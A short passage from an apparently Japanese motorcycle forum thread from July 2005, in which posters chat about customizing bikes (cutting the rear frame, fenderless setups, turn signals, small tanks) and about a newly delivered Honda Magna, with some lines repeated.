いじり始めって書いてあるからかな？
ﾘｱﾌﾚｰﾑぶった切りとは潔いですねぇ
実物を生で見てみたいものだ
ﾌﾗﾌｪﾝにしてるならｳｲﾝｶｰ早く変えたほうが良い希ガス
タンクも小振りなのが良いかと
いじり始めって書いてあるからかな？
ﾘｱﾌﾚｰﾑぶった切りとは潔いですねぇ
実物を生で見てみたいものだ
980 ：７７４ＲＲ：2005/07/24(日) 23:28:46 ID:NhZFM6Mv
うぉ～！！水曜日にマグナ白納車～！！
早く来い～！！
早く来い～！！
981 ：７７４ＲＲ：2005/07/25(月) 00:17:47 ID:wQ4To+xc
おらはのーしゃ１週間目
まだ400ｋｍしか走っておらん
今週は地震もふくめてみんなでオラのライドを邪魔しおる
まだ400ｋｍしか走っておらん
今週は地震もふくめてみんなでオラのライドを邪魔しおる